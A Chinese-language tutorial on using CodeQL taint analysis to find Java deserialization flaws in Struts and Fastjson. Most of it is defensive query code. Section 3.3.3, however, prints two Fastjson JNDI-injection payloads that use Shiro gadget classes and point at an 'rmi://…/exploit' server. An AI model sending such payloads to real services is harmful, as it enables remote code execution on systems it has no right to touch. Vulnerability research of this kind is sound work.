codeql学习——污点分析
字数 724 2025-08-20 18:18:17

CodeQL 污点分析实战教程

1. CodeQL 基础概念

1.1 污点分析简介

污点分析是一种追踪用户可控输入(Source)到敏感操作(Sink)的数据流技术,用于发现潜在的安全漏洞。

1.2 关键术语

  • Source: 用户可控的输入点
  • Sink: 可能产生危险的操作点
  • Taint Tracking: 污点追踪,分析数据从Source到Sink的传播路径

2. CodeQL 查询基础

2.1 方法查询

2.1.1 根据方法名查询

import java

from Method method
where method.hasName("toObject")
select method

2.1.2 根据类名和方法名查询

import java

from Method method
where method.hasName("fromXML") 
  and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream")
select method

2.1.3 根据接口名和方法名查询

import java

from Method method
where method.hasName("toObject") 
  and method.getDeclaringType().getAnAncestor().hasQualifiedName(
    "org.apache.struts2.rest.handler", "ContentTypeHandler")
select method

2.2 方法调用查询

2.2.1 基本方法调用查询

import java

from MethodAccess call, Method method
where method.hasName("toObject") 
  and method.getDeclaringType().getAnAncestor().hasQualifiedName(
    "org.apache.struts2.rest.handler", "ContentTypeHandler") 
  and call.getMethod() = method
select call

2.2.2 获取方法调用的参数

import java

from MethodAccess call, Method method
where method.hasName("toObject") 
  and method.getDeclaringType().getAnAncestor().hasQualifiedName(
    "org.apache.struts2.rest.handler", "ContentTypeHandler") 
  and call.getMethod() = method
select call.getArgument(0)

3. 污点分析实战

3.1 基本污点分析框架

import java
import semmle.code.java.dataflow.DataFlow

class MyConfig extends DataFlow::Configuration {
  MyConfig() { this = "Myconfig" }
  
  override predicate isSource(DataFlow::Node source) {
    // 定义Source
  }

  override predicate isSink(DataFlow::Node sink) {
    // 定义Sink
  }
}

3.2 Struts 反序列化漏洞分析

import java
import semmle.code.java.dataflow.DataFlow

class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {
  StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }
  
  override predicate isSource(DataFlow::Node source) {
    exists(Method method |
      method.hasName("toObject") 
      and method.getDeclaringType().getAnAncestor().hasQualifiedName(
        "org.apache.struts2.rest.handler", "ContentTypeHandler") 
      and source.asParameter() = method.getParameter(0)
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call, Method method |
      method.hasName("fromXML") 
      and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") 
      and call.getMethod() = method 
      and sink.asExpr() = call.getArgument(0)
    )
  }
}

from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink

3.3 Fastjson JNDI 反序列化链分析

3.3.1 定义JNDI方法

class JNDIMethod extends Method{
  JNDIMethod(){
    this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") 
    and this.hasName("lookup")
  }
}

3.3.2 完整污点分析查询

/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph

class JNDIMethod extends Method{
  JNDIMethod(){
    this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") 
    and this.hasName("lookup")
  }
}

class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
  MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }

  override predicate isSource(DataFlow::Node source) {
    exists(FieldAccess fac |
      (fac.getSite().getName().indexOf("get")=0 
       or fac.getSite().getName().indexOf("set")=0) 
      and source.asExpr() = fac
    )
  }

  override predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess call |
      call.getMethod() instanceof JNDIMethod 
      and sink.asExpr() = call.getArgument(0)
    )
  }
}

from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()

3.3.3 发现的漏洞链

  1. org.apache.shiro.jndi.JndiObjectFactory

    String input = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\", \"resourceName\":\"rmi://127.0.0.1:9050/exploit\"}";
    Object obj = JSON.parseObject(input);
    
  2. org.apache.shiro.realm.jndi.JndiRealmFactory

    String input = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":\"rmi://127.0.0.1:9050/exploit\"}";
    Object obj = JSON.parseObject(input);
    

4. 高级技巧

4.1 减少误报

通过限制Source必须来自getter/setter方法:

override predicate isSource(DataFlow::Node source) {
  exists(FieldAccess fac |
    (fac.getSite().getName().indexOf("get")=0 
     or fac.getSite().getName().indexOf("set")=0) 
    and source.asExpr() = fac
  )
}

4.2 路径查询

在VS Code中查看数据流路径:

  1. 右键点击查询窗口选择"CodeQL: Run Query"
  2. 在Results视图中展开结果查看数据流步骤
  3. 点击每个步骤查看源代码

5. 参考资源

  1. CodeQL Workshop
  2. CodeQL Java API 手册
  3. QL 语法手册
  4. Fastjson JNDI反序列化分析
  5. CodeQL GitHub仓库
CodeQL 污点分析实战教程 1. CodeQL 基础概念 1.1 污点分析简介 污点分析是一种追踪用户可控输入(Source)到敏感操作(Sink)的数据流技术,用于发现潜在的安全漏洞。 1.2 关键术语 Source : 用户可控的输入点 Sink : 可能产生危险的操作点 Taint Tracking : 污点追踪,分析数据从Source到Sink的传播路径 2. CodeQL 查询基础 2.1 方法查询 2.1.1 根据方法名查询 2.1.2 根据类名和方法名查询 2.1.3 根据接口名和方法名查询 2.2 方法调用查询 2.2.1 基本方法调用查询 2.2.2 获取方法调用的参数 3. 污点分析实战 3.1 基本污点分析框架 3.2 Struts 反序列化漏洞分析 3.3 Fastjson JNDI 反序列化链分析 3.3.1 定义JNDI方法 3.3.2 完整污点分析查询 3.3.3 发现的漏洞链 org.apache.shiro.jndi.JndiObjectFactory org.apache.shiro.realm.jndi.JndiRealmFactory 4. 高级技巧 4.1 减少误报 通过限制Source必须来自getter/setter方法: 4.2 路径查询 在VS Code中查看数据流路径: 右键点击查询窗口选择"CodeQL: Run Query" 在Results视图中展开结果查看数据流步骤 点击每个步骤查看源代码 5. 参考资源 CodeQL Workshop CodeQL Java API 手册 QL 语法手册 Fastjson JNDI反序列化分析 CodeQL GitHub仓库